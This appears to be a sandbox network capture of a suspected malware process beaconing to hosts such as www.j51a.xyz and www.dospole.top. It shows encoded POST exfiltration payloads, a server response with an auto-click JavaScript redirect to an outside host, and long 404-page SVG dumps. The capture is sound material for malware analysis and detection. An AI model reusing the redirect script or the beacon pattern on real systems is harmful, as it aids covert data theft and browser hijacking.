Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49741	154.12.34.252	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:02.804054976 CEST	835	OUT	POST /y0md/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.j51a.xyz Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.j51a.xyz Referer: http://www.j51a.xyz/y0md/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 6f 6a 77 6c 77 7a 35 68 6a 42 62 2f 39 4c 39 68 38 47 34 34 6e 6d 79 51 34 61 58 6d 4f 48 73 2b 5a 6d 4a 55 4e 6b 70 42 6a 62 30 55 4f 2b 59 69 37 69 5a 68 37 36 7a 45 74 4f 37 55 4c 44 79 33 71 57 4f 59 6d 58 48 54 4a 54 71 6d 6b 59 46 37 6a 39 35 34 74 74 56 39 32 31 47 59 4c 75 30 42 78 46 54 38 32 73 49 6e 30 2b 54 5a 2b 6e 4b 56 37 45 6e 49 53 4c 4e 6a 67 45 32 74 6d 4c 50 4e 51 6c 4f 58 61 7a 4a 37 4a 43 78 77 71 68 6c 65 74 48 70 68 35 63 59 59 61 6d 7a 6d 43 36 61 38 6d 45 75 2b 67 51 50 59 7a 47 75 65 53 30 33 39 76 63 58 30 6f 48 58 6c 43 49 48 42 58 42 57 50 37 38 6e 6e 46 34 55 41 50 58 4c 52 2f 35 7a 57 35 51 3d 3d Data Ascii: lv-=ojwlwz5hjBb/9L9h8G44nmyQ4aXmOHs+ZmJUNkpBjb0UO+Yi7iZh76zEtO7ULDy3qWOYmXHTJTqmkYF7j954ttV921GYLu0BxFT82sIn0+TZ+nKV7EnISLNjgE2tmLPNQlOXazJ7JCxwqhletHph5cYYamzmC6a8mEu+gQPYzGueS039vcX0oHXlCIHBXBWP78nnF4UAPXLR/5zW5Q==
Jul 9, 2024 12:10:03.301872969 CEST	557	IN	HTTP/1.0 200 OK Connection: close Cache-Control: max-age=259200 Content-Type: text/html;charset=utf-8 Content-Length: 428 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 22 20 69 64 3d 22 68 61 6f 31 32 33 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 73 74 72 55 3d 22 68 74 74 70 73 3a 2f 2f 68 74 74 70 2e 67 6e 33 30 31 2e 63 6f 6d 3a 31 32 33 34 35 2f 3f 75 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2b 22 26 70 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 68 61 6f 31 32 33 2e 68 72 65 66 3d 73 74 72 55 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 68 61 6f 31 32 33 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 20 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 [TRUNCATED] Data Ascii: <html><head></head><body><a href="" id="hao123"></a><script type="text/javascript">var strU="https://http.gn301.com:12345/?u="+window.location+"&p="+window.location.pathname+window.location.search;hao123.href=strU;if(document.all){document.getElementById("hao123").click();}else {var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("hao123").dispatchEvent(e);}</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	49742	154.12.34.252	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:05.373657942 CEST	1848	OUT	POST /y0md/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.j51a.xyz Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.j51a.xyz Referer: http://www.j51a.xyz/y0md/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 6f 6a 77 6c 77 7a 35 68 6a 42 62 2f 39 4c 39 68 38 47 34 34 6e 6d 79 51 34 61 58 6d 4f 48 73 2b 5a 6d 4a 55 4e 6b 70 42 6a 62 73 55 4f 6f 6b 69 30 68 68 68 36 36 7a 45 7a 65 37 56 4c 44 79 2b 71 57 32 63 6d 58 4c 6c 4a 56 6d 6d 72 61 68 37 30 35 4e 34 6b 74 56 39 71 46 47 5a 46 4f 30 59 78 46 44 34 32 73 34 6e 30 2b 54 5a 2b 6b 43 56 73 47 50 49 51 4c 4e 6b 33 30 32 78 69 4c 4f 71 51 6c 47 48 61 7a 64 4e 4f 79 52 77 71 42 56 65 2b 46 78 68 68 4d 59 57 55 47 79 37 43 36 57 6e 6d 45 7a 48 67 51 54 2b 7a 46 4f 65 57 43 75 79 33 74 69 70 79 32 76 33 46 34 50 43 57 48 47 74 6a 66 4b 58 64 35 41 44 52 57 2b 44 78 4a 71 6b 6e 75 67 66 66 74 51 4a 76 6b 57 75 31 46 4f 54 70 6d 4b 75 5a 36 72 64 2b 4e 73 73 33 75 4f 2f 70 62 4e 74 43 6d 37 67 47 78 32 47 61 57 61 68 56 31 55 51 30 30 61 47 54 76 66 4b 39 41 42 38 41 6f 38 51 6e 49 53 37 77 34 53 73 78 54 43 79 74 6b 4f 6d 78 4b 66 77 4a 66 56 4f 37 35 65 71 30 77 34 35 53 52 6b 73 74 4f 70 51 34 4d 52 72 50 4a 35 37 79 6a 37 4a 36 58 7a 72 68 59 [TRUNCATED] Data Ascii: lv-=ojwlwz5hjBb/9L9h8G44nmyQ4aXmOHs+ZmJUNkpBjbsUOoki0hhh66zEze7VLDy+qW2cmXLlJVmmrah705N4ktV9qFGZFO0YxFD42s4n0+TZ+kCVsGPIQLNk302xiLOqQlGHazdNOyRwqBVe+FxhhMYWUGy7C6WnmEzHgQT+zFOeWCuy3tipy2v3F4PCWHGtjfKXd5ADRW+DxJqknugfftQJvkWu1FOTpmKuZ6rd+Nss3uO/pbNtCm7gGx2GaWahV1UQ00aGTvfK9AB8Ao8QnIS7w4SsxTCytkOmxKfwJfVO75eq0w45SRkstOpQ4MRrPJ57yj7J6XzrhYnA2ZpMSJvUi5AZwYntD4G/+XVsKOAC0nVkuzgzQ15KllDVigZ/jer5ZKKJpv6D5dHMu8Ptwd90n5LsQsDKqMjvuZF66RZbfFIf0JdMyL/nVualhqiMpYgD6aL29+5Cogvl3NkWu3YFfWjYy3xXe+X+myGvsgah0KlfZj6xy/43ljW3Px9QEp6qf/nXpgUD6Oaw1Gt9uWiwKbI5re4awd03a4H42rSp1jeCjkzRXGSD24AuOiIuyVXB/4IpLhqD2UqTI0EUXqUdfUMqZzhGaceAN5P9bFtSM4dlMnvH9PPe1uN/AGgmj9muFVPPQS7drlkXZif8pkcZvb5YuAzOLAf7PTgxAW6sKoi9oHcNgEUPOCmv3HhprO5kjwy3k0Yp5nT5IBSSGm5IeBKr2BvcXB01zmjPJUeQqFF1f0pEM/hKaPjbfECzXxUPi3ARnr/OECn1oWmZaQT/5TFyU8Udukm9if/4wbwqy/DH+Yac17ggNE32zvmHZmb+A58DLFGFdltcsFWloekzdOJjNXcZDx6t38i6dCLNK9kKUpIxHR7co+SR9JWuC0wSV4+zy1/C7+6TEfOGrrNErJu+veGAyKhv1T759ZPKTf1aS9A6Ls9WMJWfMakbNIgqStroL4OYh6GMsWEi6ZhL7lfyi5Q/3fUvWnVY7AtSx8fz [TRUNCATED]
Jul 9, 2024 12:10:05.913011074 CEST	557	IN	HTTP/1.0 200 OK Connection: close Cache-Control: max-age=259200 Content-Type: text/html;charset=utf-8 Content-Length: 428 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 22 20 69 64 3d 22 68 61 6f 31 32 33 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 73 74 72 55 3d 22 68 74 74 70 73 3a 2f 2f 68 74 74 70 2e 67 6e 33 30 31 2e 63 6f 6d 3a 31 32 33 34 35 2f 3f 75 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2b 22 26 70 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 68 61 6f 31 32 33 2e 68 72 65 66 3d 73 74 72 55 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 68 61 6f 31 32 33 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 20 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 [TRUNCATED] Data Ascii: <html><head></head><body><a href="" id="hao123"></a><script type="text/javascript">var strU="https://http.gn301.com:12345/?u="+window.location+"&p="+window.location.pathname+window.location.search;hao123.href=strU;if(document.all){document.getElementById("hao123").click();}else {var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("hao123").dispatchEvent(e);}</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	49743	154.12.34.252	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:07.968761921 CEST	560	OUT	GET /y0md/?lv-=lhYFzH0o7AOzoOxHjW4ZhXPez5XkAFEXcnJkHRBG9JNzObhY0gQYyKrA4KXJDxiKggydmH3cVTSej7Njru8XjftXonC7MPI4x3rx8vtk99+YtwuNug==&GJtTF=-FH8yJw HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.j51a.xyz Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Jul 9, 2024 12:10:08.450248003 CEST	557	IN	HTTP/1.0 200 OK Connection: close Cache-Control: max-age=259200 Content-Type: text/html;charset=utf-8 Content-Length: 428 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 22 20 69 64 3d 22 68 61 6f 31 32 33 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 73 74 72 55 3d 22 68 74 74 70 73 3a 2f 2f 68 74 74 70 2e 67 6e 33 30 31 2e 63 6f 6d 3a 31 32 33 34 35 2f 3f 75 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2b 22 26 70 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 68 61 6f 31 32 33 2e 68 72 65 66 3d 73 74 72 55 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 68 61 6f 31 32 33 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 20 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 [TRUNCATED] Data Ascii: <html><head></head><body><a href="" id="hao123"></a><script type="text/javascript">var strU="https://http.gn301.com:12345/?u="+window.location+"&p="+window.location.pathname+window.location.search;hao123.href=strU;if(document.all){document.getElementById("hao123").click();}else {var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("hao123").dispatchEvent(e);}</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	49744	162.254.38.56	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:13.803996086 CEST	820	OUT	POST /soqq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.dospole.top Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.dospole.top Referer: http://www.dospole.top/soqq/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 51 70 6d 76 72 31 36 34 53 59 42 43 35 42 49 6a 55 69 46 2b 43 4e 79 35 73 35 54 6c 4a 73 34 6d 30 65 44 2f 45 70 2f 71 5a 51 54 58 45 4e 64 2b 35 67 70 4e 53 38 4d 31 66 34 2f 45 37 6b 41 36 53 6a 4d 36 43 4e 34 51 4a 4f 6d 6d 47 7a 50 75 37 69 2f 57 79 36 78 4c 54 30 2b 78 4b 32 34 71 59 42 56 50 4e 68 45 61 70 76 51 48 41 44 48 44 6a 41 34 74 31 73 75 51 6e 4a 43 53 53 48 54 73 55 75 39 4f 42 4c 30 54 67 74 67 44 66 45 38 41 7a 68 79 75 51 58 6c 34 45 48 71 59 58 57 76 79 74 65 46 64 36 45 77 6e 66 49 79 6d 58 39 63 30 4b 4f 2b 52 33 61 65 31 54 57 49 4e Data Ascii: lv-=Qpmvr164SYBC5BIjUiF+CNy5s5TlJs4m0eD/Ep/qZQTXENd+5gpNS8M1f4/E7kA6SjM6CN4QJOmmGzPu7i/Wy6xLT0+xK24qYBVPNhEapvQHADHDjA4t1suQnJCSSHTsUu9OBL0TgtgDfE8AzhyuQXl4EHqYXWvyteFd6EwnfIymX9c0KO+R3ae1TWIN
Jul 9, 2024 12:10:14.385708094 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 09 Jul 2024 10:10:14 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Jul 9, 2024 12:10:14.385771990 CEST	1236	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
Jul 9, 2024 12:10:14.385809898 CEST	1236	IN	Data Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
Jul 9, 2024 12:10:14.385843039 CEST	1236	IN	Data Raw: 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 Data Ascii: 0.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <pa
Jul 9, 2024 12:10:14.385879040 CEST	1236	IN	Data Raw: 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32 35 30 30 34 37 2c 38 2e 35 38 33 36 38 20 32 Data Ascii: 2,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000000;stroke-widt
Jul 9, 2024 12:10:14.385912895 CEST	1236	IN	Data Raw: 35 31 2c 31 2e 35 32 31 36 35 20 30 2e 32 32 32 39 39 2c 31 2e 30 36 35 37 39 20 30 2e 31 34 39 33 33 2c 30 2e 36 30 39 31 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c Data Ascii: 51,1.52165 0.22299,1.06579 0.14933,0.60912" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4533" d=
Jul 9, 2024 12:10:14.386022091 CEST	1236	IN	Data Raw: 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 Data Ascii: ke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4541" d="m 85.206367,122.98266 c 0.117841,11.74369 0.235693,23.48835 0.235693,36.55072 -10e-7,13.06238 -0.117833,27.43796 -0.05891,45
Jul 9, 2024 12:10:14.386068106 CEST	1236	IN	Data Raw: 2c 32 36 2e 37 30 30 33 33 20 2d 32 2e 32 39 38 33 39 34 2c 36 2e 39 35 33 36 32 20 2d 32 2e 32 39 38 33 39 34 2c 31 31 2e 35 34 39 32 32 20 2d 31 2e 33 35 35 34 31 39 2c 32 34 2e 35 37 34 31 35 20 30 2e 39 34 32 39 37 34 2c 31 33 2e 30 32 34 39 Data Ascii: ,26.70033 -2.298394,6.95362 -2.298394,11.54922 -1.355419,24.57415 0.942974,13.02493 2.828182,34.46917 5.066095,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-w
Jul 9, 2024 12:10:14.386102915 CEST	1236	IN	Data Raw: 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 39 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 31 33 32 2e 36 38 37 35 2c 32 36 33 2e 33 Data Ascii: 1;" /> <path id="path4529" d="m 132.6875,263.34998 c -4.2289,18.4155 -8.45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-
Jul 9, 2024 12:10:14.386137009 CEST	1236	IN	Data Raw: 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 2d 72 75 6c 65 3a 6e 6f 6e 7a 65 72 6f 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 30 30 31 35 37 34 37 35 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 Data Ascii: ll-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4567"
Jul 9, 2024 12:10:14.391256094 CEST	1236	IN	Data Raw: 2c 30 2e 31 31 38 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 Data Ascii: ,0.1183" style="fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4578-1"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	49745	162.254.38.56	80	5488	C:\Program Files (x86)\SDDPJiXUPzoAsDChIXKpMdIPemqMqdXjbMOdLWKqeNdOBElKx\TsdBVAGjsKVoi.exe

Timestamp	Bytes transferred	Direction	Data
Jul 9, 2024 12:10:16.382255077 CEST	844	OUT	POST /soqq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Host: www.dospole.top Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: max-age=0 Origin: http://www.dospole.top Referer: http://www.dospole.top/soqq/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Data Raw: 6c 76 2d 3d 51 70 6d 76 72 31 36 34 53 59 42 43 34 69 67 6a 57 46 5a 2b 4b 4e 79 36 77 4a 54 6c 44 4d 34 59 30 65 66 2f 45 74 75 6e 5a 69 33 58 44 73 74 2b 72 78 70 4e 52 38 4d 31 58 59 2f 37 31 45 41 39 53 69 77 79 43 4a 34 51 4a 4f 43 6d 47 79 2f 75 36 54 2f 56 77 71 78 4a 66 55 2b 33 58 6d 34 71 59 42 56 50 4e 68 51 6b 70 76 49 48 41 79 33 44 78 52 34 75 7a 63 75 52 78 5a 43 53 57 48 53 6c 55 75 39 73 42 4b 35 34 67 76 49 44 66 47 6b 41 7a 31 6d 76 65 58 6c 36 61 33 72 51 62 57 4c 2f 69 4e 64 49 79 7a 55 56 47 65 75 30 51 63 38 71 62 38 33 4b 69 4e 65 53 55 78 42 6c 50 4b 51 4b 53 61 6a 37 6d 4a 35 74 5a 43 6b 54 71 5a 6c 6c 74 41 3d 3d Data Ascii: lv-=Qpmvr164SYBC4igjWFZ+KNy6wJTlDM4Y0ef/EtunZi3XDst+rxpNR8M1XY/71EA9SiwyCJ4QJOCmGy/u6T/VwqxJfU+3Xm4qYBVPNhQkpvIHAy3DxR4uzcuRxZCSWHSlUu9sBK54gvIDfGkAz1mveXl6a3rQbWL/iNdIyzUVGeu0Qc8qb83KiNeSUxBlPKQKSaj7mJ5tZCkTqZlltA==
Jul 9, 2024 12:10:16.950479031 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 09 Jul 2024 10:10:16 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 